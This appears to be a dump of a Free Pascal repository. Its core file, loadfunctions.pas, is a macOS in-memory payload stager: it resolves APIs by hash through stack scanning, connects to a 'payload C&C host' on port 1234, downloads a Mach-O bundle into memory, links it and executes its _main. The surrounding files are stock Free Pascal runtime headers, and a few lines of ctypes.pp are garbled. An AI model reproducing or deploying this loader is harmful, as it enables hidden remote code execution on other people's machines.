MH_MAGIC_64 = $FEEDFACF; 42 | MH_CIGAM = $CEFAEDFE; 43 | MH_CIGAM_64 = $CFFAEDFE; 44 | 45 | //Cpu types 46 | CPU_ARCH_ABI64 = $1000000; 47 | CPU_TYPE_ANY = -1; 48 | CPU_TYPE_I386 = 7; 49 | CPU_TYPE_X86_64 = CPU_TYPE_I386 or CPU_ARCH_ABI64; 50 | CPU_TYPE_ARM = 12; 51 | CPU_TYPE_ARM64 = CPU_TYPE_ARM or CPU_ARCH_ABI64; 52 | CPU_TYPE_POWERPC = 18; 53 | CPU_TYPE_POWERPC64 = CPU_TYPE_POWERPC or CPU_ARCH_ABI64; 54 | 55 | //Cpu subtypes 56 | CPU_SUBTYPE_I386_ALL = 3; 57 | CPU_SUBTYPE_X86_64_ALL = CPU_SUBTYPE_I386_ALL; 58 | CPU_SUBTYPE_POWERPC_ALL = 0; 59 | CPU_SUBTYPE_ARM_ALL = 0; 60 | CPU_SUBTYPE_ARM_V4T = 5; 61 | CPU_SUBTYPE_ARM_V6 = 6; 62 | CPU_SUBTYPE_ARM_V5TEJ = 7; 63 | CPU_SUBTYPE_ARM_XSCALE = 8; 64 | CPU_SUBTYPE_ARM_V7 = 9; 65 | CPU_SUBTYPE_ARM64_ALL = 0; 66 | CPU_SUBTYPE_ARM64_V8 = 1; 67 | 68 | //Mach-O object types 69 | MH_OBJECT = $1; // relocatable object file 70 | MH_EXECUTE = $2; // demand paged executable file 71 | MH_FVMLIB = $3; // fixed VM shared library file 72 | MH_CORE = $4; // core file 73 | MH_PRELOAD = $5; // preloaded executable file 74 | MH_DYLIB = $6; // dynamically bound shared library 75 | MH_DYLINKER = $7; // dynamic link editor 76 | MH_BUNDLE = $8; // dynamically bound bundle file 77 | MH_DYLIB_STUB = $9; // shared library stub for static 78 | // linking only, no section contents 79 | //Mach-O object flags 80 | 81 | MH_NOUNDEFS = $00001; 82 | MH_INCRLINK = $00002; 83 | MH_DYLDLINK = $00004; 84 | MH_BINDATLOAD = $00008; 85 | MH_PREBOUND = $00010; 86 | MH_SPLIT_SEGS = $00020; 87 | MH_TWOLEVEL = $00080; 88 | MH_FORCE_FLAT = $00100; 89 | MH_NOMULTIDEFS = $00200; 90 | MH_NOFIXPREBINDING = $00400; 91 | MH_PREBINDABLE = $00800; 92 | MH_ALLMODSBOUND = $01000; 93 | MH_SUBSECTIONS_VIA_SYMBOLS = $02000; 94 | MH_CANONICAL = $04000; 95 | MH_WEAK_DEFINES = $08000; 96 | MH_BINDS_TO_WEAK = $10000; 97 | 98 | //Load commands 99 | 100 | LC_SEGMENT = $1; // segment of this file to be mapped 101 | LC_SYMTAB = $2; // link-edit stab symbol table info 102 | LC_SYMSEG = $3; // link-edit gdb symbol table info (obsolete) 103 | LC_THREAD = $4; // thread 104 | LC_UNIXTHREAD = $5; // unix thread (includes a stack) 105 | LC_LOADFVMLIB = $6; // load a specified fixed VM shared library 106 | LC_IDFVMLIB = $7; // fixed VM shared library identification 107 | LC_DYSYMTAB = $b; // dynamic link-edit symbol table info 108 | LC_LOAD_DYLIB = $c; // load a dynamically linked shared library 109 | LC_ID_DYLIB = $d; // dynamically linked shared lib ident 110 | LC_LOAD_DYLINKER = $e; // load a dynamic linker 111 | LC_ID_DYLINKER = $f; // dynamic linker identification 112 | LC_PREBOUND_DYLIB = $10; // modules prebound for a dynamically 113 | // linked shared library 114 | LC_ROUTINES = $11; // image routines 115 | LC_SUB_FRAMEWORK = $12; // sub framework 116 | LC_SUB_UMBRELLA = $13; // sub umbrella 117 | LC_SUB_CLIENT = $14; // sub client 118 | LC_SUB_LIBRARY = $15; // sub library 119 | LC_TWOLEVEL_HINTS = $16; // two-level namespace lookup hints 120 | LC_PREBIND_CKSUM = $17; // prebind checksum 121 | LC_LOAD_WEAK_DYLIB= $80000018; 122 | LC_SEGMENT_64 = $19; // 64-bit segment of this file to be mapped 123 | LC_ROUTINES_64 = $1a; // 64-bit image routines 124 | LC_UUID = $1b; // the uuid 125 | 126 | //Segment: virtual memory protection 127 | VM_PROT_NONE = $00; 128 | VM_PROT_READ = $01; // read permission 129 | VM_PROT_WRITE = $02; // write permission 130 | VM_PROT_EXECUTE = $04; // execute permission 131 | VM_PROT_DEFAULT = VM_PROT_READ or VM_PROT_WRITE; 132 | VM_PROT_ALL = VM_PROT_READ or VM_PROT_WRITE or VM_PROT_EXECUTE; 133 | VM_PROT_NO_CHANGE = $08; 134 | VM_PROT_COPY = $10; 135 | VM_PROT_WANTS_COPY = $10; 136 | 137 | //Segment flags 138 | SG_HIGHVM = $01; 139 | SG_FVMLIB = $02; 140 | SG_NORELOC = $04; 141 | 142 | //Section type and attributes masks 143 | SECTION_TYPE = $000000ff; // 256 section types 144 | SECTION_ATTRIBUTES = $ffffff00; // 24 section attributes 145 | 146 | //Section types 147 | S_REGULAR = $0; 148 | S_ZEROFILL = $1; 149 | S_CSTRING_LITERALS = $2; 150 | S_4BYTE_LITERALS = $3; 151 | S_8BYTE_LITERALS = $4; 152 | S_LITERAL_POINTERS = $5; 153 | S_NON_LAZY_SYMBOL_POINTERS = $6; 154 | S_LAZY_SYMBOL_POINTERS = $7; 155 | S_SYMBOL_STUBS = $8; 156 | S_MOD_INIT_FUNC_POINTERS = $9; 157 | S_MOD_TERM_FUNC_POINTERS = $a; 158 | S_COALESCED = $b; 159 | S_GB_ZEROFILL = $c; 160 | S_INTERPOSING = $d; 161 | 162 | //Section attributes 163 | SECTION_ATTRIBUTES_USR = $ff000000; 164 | S_ATTR_PURE_INSTRUCTIONS = $80000000; 165 | S_ATTR_NO_TOC = $40000000; 166 | S_ATTR_STRIP_STATIC_SYMS = $20000000; 167 | S_ATTR_NO_DEAD_STRIP = $10000000; 168 | S_ATTR_LIVE_SUPPORT = $08000000; 169 | SECTION_ATTRIBUTES_SYS = $00ffff00; 170 | S_ATTR_SOME_INSTRUCTIONS = $00000400; 171 | S_ATTR_EXT_RELOC = $00000200; 172 | S_ATTR_LOC_RELOC = $00000100; 173 | 174 | //Symbols: masks for type 175 | N_STAB = $e0; // if any of these bits set, a symbolic debugging entry 176 | N_PEXT = $10; // private external symbol bit 177 | N_TYPE = $0e; // mask for the type bits 178 | N_EXT = $01; // external symbol bit, set for external symbols 179 | 180 | //values for type in the N_TYPE bits 181 | N_UNDF = $0; // undefined, n_sect == NO_SECT 182 | N_ABS = $2; // absolute, n_sect == NO_SECT 183 | N_SECT = $e; // defined in section number n_sect 184 | N_PBUD = $c; // prebound undefined (defined in a dylib) 185 | N_INDR = $a; // indirect 186 | 187 | NO_SECT = $0; // symbol is not in any section 188 | 189 | //Relocations: masks for flag 190 | R_SYMBOLNUM_BE = $FFFFFF00; 191 | R_PCREL_BE = $00000080; 192 | R_LENGTH_BE = $00000060; 193 | R_EXTERN_BE = $00000010; 194 | R_TYPE_BE = $0000000F; 195 | 196 | R_SYMBOLNUM_LE = $00FFFFFF; 197 | R_PCREL_LE = $01000000; 198 | R_LENGTH_LE = $06000000; 199 | R_EXTERN_LE = $08000000; 200 | R_TYPE_LE = $F0000000; 201 | 202 | //relocation types - powerpc 203 | PPC_RELOC_VANILLA = 0; // generic relocation 204 | 205 | //relocation types - i386 206 | GENERIC_RELOC_VANILLA = 0; // generic relocation 207 | 208 | //relocation types - x86_64 209 | X86_64_RELOC_UNSIGNED = 0; // for absolute addresses 210 | 211 | // relocation types - ARM 212 | ARM_RELOC_VANILLA = 0; // generic relocation 213 | 214 | // relocation types - AARCH64 215 | ARM64_RELOC_UNSIGNED = 0; // for pointers 216 | 217 | implementation 218 | 219 | end. 220 | -------------------------------------------------------------------------------- /Core/loadfunctions.pas: -------------------------------------------------------------------------------- 1 | { 2 | the main module functions . 3 | - API Hashing Function . 4 | - Get Modules loaded in Memory . 5 | - Load macho in memory . 6 | 7 | Copyright(c) 2018 Coldzer0 . 8 | contact : . 9 | License: GPLv2 . 10 | } 11 | unit LoadFunctions; 12 | 13 | {$mode delphi} 14 | {$Hints OFF} 15 | {$SMARTLINK ON} 16 | {$asmmode intel} 17 | 18 | interface 19 | uses 20 | ulibc, 21 | macho, 22 | Sockets; 23 | 24 | function loadall : boolean; 25 | 26 | var 27 | NSCreateObjectFileImageFromMemory : function (address : Pointer; Size : longint; FileImage : Pointer) : longint; cdecl; 28 | NSLinkModule : function (Imagefile : Pointer;plapla : PChar; Option : longint):Pointer; cdecl; 29 | NSLookupSymbolInModule : function (module : Pointer; name : PChar): Pointer; cdecl; 30 | NSAddressOfSymbol : function (symbol : Pointer) : Pointer; cdecl; 31 | _main : procedure; cdecl; 32 | 33 | implementation 34 | 35 | const 36 | PAGE_SIZE = $1000; 37 | 38 | 39 | function roundUP(size,pagesz : Integer): longint; inline; 40 | begin 41 | Result := (size + pagesz -1) and not(PAGE_SIZE-1); 42 | end; 43 | 44 | function GetProcAddrByName(module :Pointer; name : PChar) : Pointer; 45 | var 46 | sym : Pointer; 47 | begin 48 | Result := nil; 49 | sym := NSLookupSymbolInModule(module, name); 50 | if sym <> nil then 51 | Result := NSAddressOfSymbol(sym); 52 | end; 53 | 54 | 55 | function is_ptr_valid(uPtr : pointer) : boolean; assembler;nostackframe;register; 56 | asm 57 | push rbx 58 | mov rax,$200000F // chmod .. 59 | // mov rdi , uPtr // Our Pointer/removed cuz it's alread done by compiler from param 60 | mov rsi,511 // 0777 oct - 511 dec . 61 | syscall 62 | xor rbx,rbx 63 | cmp rax,2 64 | cmovne rax,rbx // if rax <> 2 then move 0 to rax as False else it will be true 65 | pop rbx 66 | end; 67 | 68 | // DJBHash .. 69 | function hash(name : PChar) : uint32; 70 | var 71 | c : int32; 72 | begin 73 | result := 5381; 74 | c := Pbyte(name)^; 75 | while ( c <> 0) do 76 | begin 77 | result := ((result shl 5) + result) + c; 78 | inc(name); 79 | c := Pbyte(name)^; 80 | end; 81 | end; 82 | 83 | function is_macho_x64 (mhPtr : Pointer) : boolean; 84 | var 85 | mh : pmach_header_64; 86 | begin 87 | Result := False; 88 | if mhPtr <> nil then 89 | begin 90 | mh := pmach_header_64(mhPtr); 91 | if (mh^.magic = MH_MAGIC_64) and 92 | (mh^.cputype = CPU_TYPE_X86_64) then 93 | Result := true; 94 | end; 95 | end; 96 | 97 | function Resolve_Symbol(mhPtr : pmach_header_64; LibHASH , FuncHash : QWord) : Pointer; 98 | var 99 | seg , seg_linkedit , seg_text : psegment_command_64; 100 | sym : psymtab_command; 101 | dlb : pdylib_command; 102 | nls : pnlist_64; 103 | cmd : pload_command; 104 | strtab : PChar; 105 | mh : pmach_header_64; 106 | sym_hash, file_slide : QWord; 107 | x ,y :longint; 108 | name , sym_name : PChar; 109 | Found : boolean; 110 | begin 111 | result := nil; 112 | 113 | sym := result; seg_linkedit := result; seg_text := result; 114 | 115 | Found := False; 116 | 117 | mh := pmach_header_64(mhPtr); 118 | cmd := pload_command(Pointer(QWord(mh) + SizeOf(mach_header_64))); 119 | for x := 0 to mh^.ncmds do 120 | begin 121 | case cmd^.cmd of 122 | LC_SEGMENT_64: 123 | begin 124 | seg := psegment_command_64(cmd); 125 | if hash(seg^.segname) = $c214bfb7 then // __LINKEDIT . 126 | seg_linkedit := seg; 127 | 128 | if hash(seg^.segname) = $ec5f7168 then // __TEXT . 129 | seg_text := seg; 130 | end; 131 | LC_ID_DYLIB,LC_ID_DYLINKER: 132 | begin 133 | dlb := pdylib_command(cmd); 134 | name := Pointer(QWord(cmd) + dlb^.dylib.name.offset); 135 | if hash(name) = LibHASH then 136 | Found := true 137 | else 138 | break; 139 | end; 140 | LC_SYMTAB: 141 | begin 142 | sym := psymtab_command(cmd); 143 | end; 144 | end; 145 | cmd := pload_command(Pointer(QWord(cmd) + cmd^.cmdsize)); 146 | end; 147 | // Check that everything set as it should . 148 | if (Found = true) and (sym <> nil) and (seg_linkedit <> nil) and (seg_text <> nil) then 149 | begin 150 | //strtab := PChar(Pointer(QWord(mh) + seg_linkedit^.vmaddr + sym^.stroff - seg_linkedit^.fileoff - seg_text^.vmaddr)); 151 | file_slide := (seg_linkedit^.vmaddr - seg_text^.vmaddr - seg_linkedit^.fileoff); 152 | strtab := PChar(Pointer(QWord(mh) + sym^.stroff + file_slide)); 153 | nls := pnlist_64( Pointer(QWord(mh) + sym^.symoff + file_slide)); 154 | 155 | for y := 0 to sym^.nsyms do 156 | begin 157 | sym_name := Pchar(Pointer(QWord(strtab) + nls[y].n_un.n_strx)); 158 | sym_hash := hash(sym_name); 159 | //printf('name : %s '#10,[sym_name]); 160 | if sym_hash = FuncHash then 161 | begin 162 | //if nls[y].n_value = 0 then 163 | // continue; 164 | Result := Pointer(QWord(mh) + nls[y].n_value - seg_text^.vmaddr); 165 | break; 166 | end; 167 | end; 168 | end; 169 | end; 170 | 171 | function GetStackPtr : Pointer; assembler; nostackframe; 172 | asm 173 | mov rax,rsp 174 | end; 175 | 176 | function GetFuncAddr(LibHASH , FuncHASH : QWord) : Pointer; 177 | var 178 | x , y : longint; 179 | stack, sPtr , addr : Pointer; 180 | begin 181 | Result := nil; 182 | stack := GetStackPtr(); 183 | 184 | while is_ptr_valid(Pointer(QWord(stack) + 1)) do 185 | inc(stack); 186 | 187 | for x := 0 to 10000 do 188 | begin 189 | sPtr := Pointer(QWord(stack) - x); 190 | 191 | if ( not is_ptr_valid(sPtr)) or ( not is_ptr_valid(Pointer(sPtr^))) then 192 | continue; 193 | 194 | // algin to PAGE_SIZE .. 195 | addr := Pointer(QWord(sPtr^) and not(PAGE_SIZE-1)); 196 | 197 | for y := 0 to 100 do 198 | begin 199 | if (is_ptr_valid(addr)) and (is_macho_x64(addr)) then 200 | begin 201 | Result := Resolve_Symbol(pmach_header_64(addr),LibHASH,FuncHash); 202 | if Result <> nil then 203 | break; 204 | end; 205 | dec(addr,PAGE_SIZE); 206 | end; 207 | if result <> nil then break; 208 | end; 209 | if result = nil then _exit; // RES_EXIT = this check here to elemenate the check of address if NULL or not 210 | end; 211 | 212 | procedure Sleep(milliseconds: Cardinal); 213 | Var 214 | timeout,timeoutresult : TTimespec; 215 | res: longint; 216 | const 217 | ESysEINTR = 4; 218 | begin 219 | timeout.tv_sec:=milliseconds div 1000; 220 | timeout.tv_nsec:=1000*1000*(milliseconds mod 1000); 221 | repeat 222 | res:=nanosleep(@timeout,@timeoutresult); 223 | timeout:=timeoutresult; 224 | until (res<>-1) or (errno^<>ESysEINTR); 225 | end; 226 | 227 | function GetHostIP(const Name: PChar): DWord; 228 | var 229 | HE: PHostEnt; 230 | P: PDWord; 231 | begin 232 | Result := 0; 233 | HE := nil; 234 | HE := gethostbyname(Name); 235 | if Assigned(HE) then begin 236 | P := Pointer(HE^.h_addr_list[0]); 237 | Result := DWord(P^); 238 | end; 239 | end; 240 | 241 | function Connect_recv(Buffer : Pointer; MaxSize : int64) : longint; 242 | var 243 | sockfd : longint; 244 | serv_addr : sockaddr_in; 245 | rd : longint; 246 | begin 247 | Result := 0; 248 | 249 | sockfd := socket(AF_INET,SOCK_STREAM,0); 250 | if sockfd < 0 then _exit(); // if we can't get socket then terminate . 251 | 252 | serv_addr.sin_family := AF_INET; 253 | serv_addr.sin_addr := GetHostIP('localhost'); // payload C&C host .. 254 | if serv_addr.sin_addr = 0 then _Exit; // Kill self if host not resolved .. 255 | serv_addr.sin_port := htons(1234); // Port .. 256 | 257 | // connection loop till we got connected .. 258 | while connect(sockfd,@serv_addr,SizeOf(sockaddr_in)) < 0 do 259 | begin 260 | close(sockfd); 261 | sockfd := socket(AF_INET,SOCK_STREAM,0); 262 | if sockfd < 0 then _exit(); 263 | sleep(2000); 264 | end; 265 | 266 | while MaxSize > 0 do 267 | begin 268 | rd := read(sockfd,Buffer,MaxSize); 269 | if rd > 0 then 270 | begin 271 | MaxSize -= rd; 272 | inc(Buffer,rd); 273 | Result += rd; 274 | end 275 | else 276 | break; 277 | end; 278 | close(sockfd); 279 | end; 280 | 281 | function loadall : boolean; 282 | var 283 | data, Fileimage , Module : pointer; 284 | const 285 | NSLINKMODULE_OPTION_PRIVATE = 2; 286 | 287 | _NSLinkModule = $6f320e79; 288 | _NSAddressOfSymbol = $f4da6396; 289 | _NSLookupSymbolInModule = $515bc152; 290 | _NSCreateObjectFileImageFromMemory = $64c5cea0; 291 | 292 | _open = $ef4dff6; 293 | _lseek = $ed5c3998; 294 | _mmap = $ef3b9ef; 295 | _read = $ef655c0; 296 | _close = $ecb5b2ba; 297 | //_dlopen = $85c12646; 298 | //_dlsym = $ecc7dd0d; 299 | 300 | _socket = $a8ee276d; 301 | _connect = $f7d7f9ee; 302 | ___error = $9dfc0aac; 303 | 304 | libc = $714fb237; 305 | _nanoskeep = $66d4a0e9; 306 | 307 | libsystem_info = $1d5b0a0; 308 | _gethostbyname = $cd1964de; 309 | var 310 | DYLD_HASH , mem_size : QWord; 311 | Size : longint; 312 | begin 313 | result := False; 314 | 315 | DYLD_HASH := $9d683b90; // /usr/lib/dyld 316 | mem_size := 10*1024*1024; // 10 MB - it's more than enough i think :P .. 317 | 318 | @nanosleep := GetFuncAddr(libc, _nanoskeep); 319 | @errno := GetFuncAddr(DYLD_HASH, ___error); 320 | 321 | @open := GetFuncAddr(DYLD_HASH , _open); 322 | @lseek := GetFuncAddr(DYLD_HASH , _lseek); 323 | @mmap := GetFuncAddr(DYLD_HASH , _mmap); 324 | @read := GetFuncAddr(DYLD_HASH , _read); 325 | @close := GetFuncAddr(DYLD_HASH , _close); 326 | 327 | @gethostbyname := GetFuncAddr(libsystem_info, _gethostbyname); 328 | @socket := GetFuncAddr(DYLD_HASH , _socket); 329 | @connect := GetFuncAddr(DYLD_HASH , _connect); 330 | 331 | @NSCreateObjectFileImageFromMemory := GetFuncAddr(DYLD_HASH , _NSCreateObjectFileImageFromMemory); 332 | @NSLookupSymbolInModule := GetFuncAddr(DYLD_HASH , _NSLookupSymbolInModule); 333 | @NSAddressOfSymbol := GetFuncAddr(DYLD_HASH , _NSAddressOfSymbol); 334 | @NSLinkModule := GetFuncAddr( DYLD_HASH , _NSLinkModule); 335 | 336 | data := mmap(nil,mem_size,PROT_READ or PROT_WRITE,MAP_PRIVATE or MAP_ANON,-1,0); 337 | if data <> nil then 338 | begin 339 | Size := Connect_Recv(data,mem_size); 340 | if size > 0 then 341 | begin 342 | pmach_header_64(data)^.filetype := MH_BUNDLE; // to make sure it will be MH_BUNDLE .. 343 | if NSCreateObjectFileImageFromMemory(data,Size,@Fileimage) = 1 then 344 | if Fileimage <> nil then 345 | begin 346 | Module := NSLinkModule(Fileimage,PChar(''),NSLINKMODULE_OPTION_PRIVATE); 347 | if Module <> nil then 348 | begin 349 | { 350 | this code here if the file is a dylib 351 | and have exports like in this case '_main' 352 | you can remove it if you want to call the init function only :D . 353 | } 354 | @_main := GetProcAddrByName(Module,'_main'); 355 | if @_main <> nil then 356 | _main; 357 | result := true; 358 | end; 359 | end; 360 | end; 361 | end; 362 | end; 363 | 364 | end. 365 | 366 | -------------------------------------------------------------------------------- /System/ctypes.pp: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 2004 by Marco van de Voort, member of the 4 | Free Pascal development team 5 | 6 | Implements C types for in header conversions 7 | 8 | See the file COPYING.FPC, included in this distribution, 9 | for details about the copyright. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 14 | 15 | 16 | **********************************************************************} 17 | 18 | unit ctypes; 19 | 20 | {$ifdef FPC} 21 | {$inline on} 22 | {$define dummy} 23 | {$endif} 24 | 25 | interface 26 | 27 | {$ifdef unix} 28 | uses unixtype; 29 | {$i aliasctp.inc} 30 | {$else} 31 | 32 | type 33 | {$ifndef FPC} 34 | qword = int64; // Keep h2pas "uses ctypes" headers working with delphi. 35 | ptruint = cardinal; 36 | pptruint = ^ptruint; 37 | {$endif} 38 | 39 | { the following type definitions are compiler dependant } 40 | { and system dependant } 41 | 42 | cint8 = shortint; pcint8 = ^cint8; 43 | cuint8 = byte; pcuint8 = ^cuint8; 44 | cchar = cint8; pcchar = ^cchar; 45 | cschar = cint8; pcschar = ^cschar; 46 | cuchar = cuint8; pcuchar = ^cuchar; 47 | 48 | cint16 = smallint; pcint16 = ^cint16; 49 | cuint16 = word; pcuint16 = ^cuint16; 50 | cshort = cint16; pcshort = ^cshort; 51 | csshort = cint16; pcsshort = ^csshort; 52 | cushort = cuint16; pcushort = ^cushort; 53 | 54 | cint32 = longint; pcint32 = ^cint32; 55 | cuint32 = longword; pcuint32 = ^cuint32; 56 | 57 | cint64 = int64; pcint64 = ^cint64; 58 | cuint64 = qword; pcuint64 = ^cuint64; 59 | clonglong = cint64; pclonglong = ^clonglong; 60 | cslonglong = cint64; pcslonglong = ^cslonglong; 61 | culonglong = cuint64; pculonglong = ^culonglong; 62 | 63 | cbool = longbool; pcbool = ^cbool; 64 | 65 | {$if defined(cpu64) and not(defined(win64) and defined(cpux86_64))} 66 | cint = cint32; pcint = ^cint; { minimum range is : 32-bit } 67 | csint = cint32; pcsint = ^csint; { minimum range is : 32-bit } 68 | cuint = cuint32; pcuint = ^cuint; { minimum range is : 32-bit } 69 | clong = int64; pclong = ^clong; 70 | cslong = int64; pcslong = ^cslong; 71 | culong = qword; pculong = ^culong; 72 | {$elseif defined(cpu16)} 73 | { 16-bit int sizes checked against Borland C++ 3.1 and Open Watcom 1.9 } 74 | cint = cint16; pcint = ^cint; 75 | csint = cint16; pcsint = ^csint; 76 | cuint = cuint16; pcuint = ^cuint; 77 | clong = longint; pclong = ^clong; 78 | cslong = longint; pcslong = ^cslong; 79 | culong = cardinal; pculong = ^culong; 80 | {$else} 81 | cint = cint32; pcint = ^cint; { minimum range is : 32-bit } 82 | csint = cint32; pcsint = ^csint; { minimum range is : 32-bit } 83 | cuint = cuint32; pcuint = ^cuint; { minimum range is : 32-bit } 84 | clong = longint; pclong = ^clong; 85 | cslong = longint; pcslong = ^cslong; 86 | culong = cardinal; pculong = ^culong; 87 | {$ifend} 88 | 89 | csigned = cint; pcsigned = ^csigned; 90 | cunsigned = cuint; pcunsigned = ^cunsigned; 91 | 92 | csize_t = ptruint; pcsize_t = pptruint; 93 | 94 | // Kylix compat types 95 | u_long = culong; 96 | u_short = cushort; 97 | coff_t = clong; 98 | 99 | {$ifndef FPUNONE} 100 | cfloat = single; pcfloat = ^cfloat; 101 | cdouble = double; pcdouble = ^cdouble; 102 | {$endif} 103 | {$endif} 104 | 105 | {$if defined(win64) or defined(wince) or defined(android)} 106 | {$define longdouble_is_double} 107 | {$endif} 108 | 109 | {$if defined(linux) and (defined(cpupowerpc) or defined(cpuarm))} 110 | {$define longdouble_is_double} 111 | {$ifend} 112 | 113 | {$if defined(darwin) and defined(cpuaarch64)} 114 | {$define longdouble_is_double} 115 | {$ifend} 116 | 117 | {$ifndef FPUNONE} 118 | {$if defined(longdouble_is_double) or not defined(FPC_HAS_CEXTENDED)} 119 | clongdouble=double; 120 | {$else} 121 | {$if defined(cpui8086) or defined(cpui386) or defined(cpux86_64) or defined(cpuavr)} 122 | clongdouble = cextended; 123 | {$else} 124 | {$define longdouble_assignment_overload_real128} 125 | clongdouble = packed array [0..15] of byte; 126 | {$ifend} 127 | {$ifend} 128 | Pclongdouble=^clongdouble; 129 | 130 | {$ifdef longdouble_assignment_overload_real128} 131 | {Non-x86 typically doesn't have extended. To be fixed once this changes.} 132 | operator := (const v:clongdouble) r:double;inline; 133 | operator := (const v:double) r:clongdouble;inline; 134 | {$ifdef dummy} 135 | operator +(const e:Double;const c:clongdouble) r:Double;inline; 136 | operator +(const c:clongdouble;const e:Double) r:Double;inline; 137 | operator -(const e:Double;const c:clongdouble) r:Double;inline; 138 | operator -(const c:clongdouble;const e:Double) r:Double;inline; 139 | operator *(const e:Double;const c:clongdouble) r:Double;inline; 140 | operator *(const c:clongdouble;const e:Double) r:Double;inline; 141 | operator /(const e:Double;const c:clongdouble) r:Double;inline; 142 | operator /(const c:clongdouble;const e:Double) r:Double;inline; 143 | operator =(const e:Double;const c:clongdouble) r:boolean;inline; 144 | operator =(const c:clongdouble;const e:Double) r:boolean;inline; 145 | operator <(const e:Double;const c:clongdouble) r:boolean;inline; 146 | operator <(const c:clongdouble;const e:Double) r:boolean;inline; 147 | operator >(const e:Double;const c:clongdouble) r:boolean;inline; 148 | operator >(const c:clongdouble;const e:Double) r:boolean;inline; 149 | operator >=(const e:Double;const c:clongdouble) r:boolean;inline; 150 | operator >=(const c:clongdouble;const e:Double) r:boolean;inline; 151 | operator <=(const e:Double;const c:clongdouble) r:boolean;inline; 152 | operator <=(const c:clongdouble;const e:Double) r:boolean;inline; 153 | {$endif dummy} 154 | {$endif} 155 | {$endif FPUNONE} 156 | 157 | implementation 158 | 159 | {$ifndef FPUNONE} 160 | 161 | {$ifdef longdouble_assignment_overload_real128} 162 | 163 | {$ifdef ENDIAN_LITTLE} 164 | const r128_mantissa_ofs=0; 165 | r128_exponent_ofs=14; 166 | {$else} 167 | const r128_mantissa_ofs=2; 168 | r128_exponent_ofs=0; 169 | {$ifdef FPC_REQUIRES_PROPER_ALIGNMENT} 170 | {$define USE_UNALIGNED} 171 | {$endif FPC_REQUIRES_PROPER_ALIGNMENT} 172 | {$endif} 173 | 174 | operator := (const v:clongdouble) r:double; 175 | var 176 | exp : word; 177 | mant : qword; 178 | is_neg : boolean; 179 | begin 180 | is_neg:=(pword(@v[r128_exponent_ofs])^and $8000)<>0; 181 | exp:=((Pword(@v[r128_exponent_ofs])^and $7fff)-$4000)+$400; 182 | if is_neg then 183 | exp:=exp+$800; 184 | {$ifdef USE_UNALIGNED} 185 | mant:=unaligned(Pqword(@v[r128_mantissa_ofs])^); 186 | {$else not USE_UNALIGNED} 187 | mant:=Pqword(@v[r128_mantissa_ofs])^; 188 | {$endif not USE_UNALIGNED} 189 | qword(r):=(qword(exp) shl 52) or 190 | (mant shr 12); 191 | end; 192 | 193 | operator := (const v:double) r:clongdouble; 194 | var 195 | is_neg : boolean; 196 | exp : word; 197 | begin 198 | is_neg:=(qword(v) shr 63) <> 0; 199 | exp:=$4000 + ((qword(v) shr 52) and $7ff) -$400; 200 | if is_neg then 201 | exp:=exp+$8000; 202 | Pword(@r[r128_exponent_ofs])^:=exp; 203 | {$ifdef USE_UNALIGNED} 204 | unaligned(Pqword(@r[r128_mantissa_ofs])^):=qword(v) shl 12; 205 | Pword(@r[r128_mantissa_ofs+8])^:=0; 206 | Pword(@r[r128_mantissa_ofs+10])^:=0; 207 | {$else not USE_UNALIGNED} 208 | Pqword(@r[r128_mantissa_ofs])^:=qword(v) shl 12; 209 | Pcardinal(@r[r128_mantissa_ofs+8])^:=0; 210 | {$endif not USE_UNALIGNED} 211 | Pword(@r[r128_mantissa_ofs+12])^:=0; 212 | end; 213 | 214 | {$ifdef dummy} 215 | 216 | // There is no record with a value field in this case 217 | 218 | operator +(const e:Double;const c:clongdouble) r:Double;inline; 219 | begin 220 | r:=e+double(c); 221 | end; 222 | 223 | operator +(const c:clongdouble;const e:Double) r:Double;inline; 224 | begin 225 | r:=double(c)+e; 226 | end; 227 | 228 | operator -(const e:Double;const c:clongdouble) r:Double;inline; 229 | begin 230 | r:=e-double(c); 231 | end; 232 | 233 | operator -(const c:clongdouble;const e:Double) r:Double;inline; 234 | begin 235 | r:=double(c)-e; 236 | end; 237 | 238 | operator *(const e:Double;const c:clongdouble) r:Double;inline; 239 | begin 240 | r:=e*double(c); 241 | end; 242 | 243 | operator *(const c:clongdouble;const e:Double) r:Double;inline; 244 | begin 245 | r:=double(c)*e; 246 | end; 247 | 248 | operator /(const e:Double;const c:clongdouble) r:Double;inline; 249 | begin 250 | r:=e/double(c); 251 | end; 252 | 253 | operator /(const c:clongdouble;const e:Double) r:Double;inline; 254 | begin 255 | r:=double(c)/e; 256 | end; 257 | 258 | operator =(const e:Double;const c:clongdouble) r:boolean;inline; 259 | begin 260 | r:=e=double(c); 261 | end; 262 | 263 | operator =(const c:clongdouble;const e:Double) r:boolean;inline; 264 | begin 265 | r:=double(c)=e; 266 | end; 267 | 268 | operator <(const e:Double;const c:clongdouble) r:boolean;inline; 269 | begin 270 | r:=e(const e:Double;const c:clongdouble) r:boolean;inline; 279 | begin 280 | r:=e>double(c); 281 | end; 282 | 283 | operator >(const c:clongdouble;const e:Double) r:boolean;inline; 284 | begin 285 | r:=double(c)>e; 286 | end; 287 | 288 | operator >=(const e:Double;const c:clongdouble) r:boolean;inline; 289 | begin 290 | r:=e>=double(c); 291 | end; 292 | 293 | operator >=(const c:clongdouble;const e:Double) r:boolean;inline; 294 | begin 295 | r:=double(c)>=e; 296 | end; 297 | 298 | operator <=(const e:Double;const c:clongdouble) r:boolean;inline; 299 | begin 300 | r:=e<=double(c); 301 | end; 302 | 303 | operator <=(const c:clongdouble;const e:Double) r:boolean;inline; 304 | begin 305 | r:=double(c)<=e; 306 | end; 307 | {$endif} 308 | {$endif} 309 | {$endif FPUNONE} 310 | 311 | end. 312 | -------------------------------------------------------------------------------- /System/objcnf.inc: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 2009 by the Free Pascal development team 4 | 5 | This unit provides an interface to the Objective-C non-fragile 6 | run time (1.5+/2.x) as defined by Apple 7 | 8 | See the file COPYING.FPC, included in this distribution, 9 | for details about the copyright. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 14 | 15 | **********************************************************************} 16 | 17 | interface 18 | 19 | uses 20 | ctypes 21 | {$ifdef unix} 22 | ,unixtype 23 | {$endif} 24 | ; 25 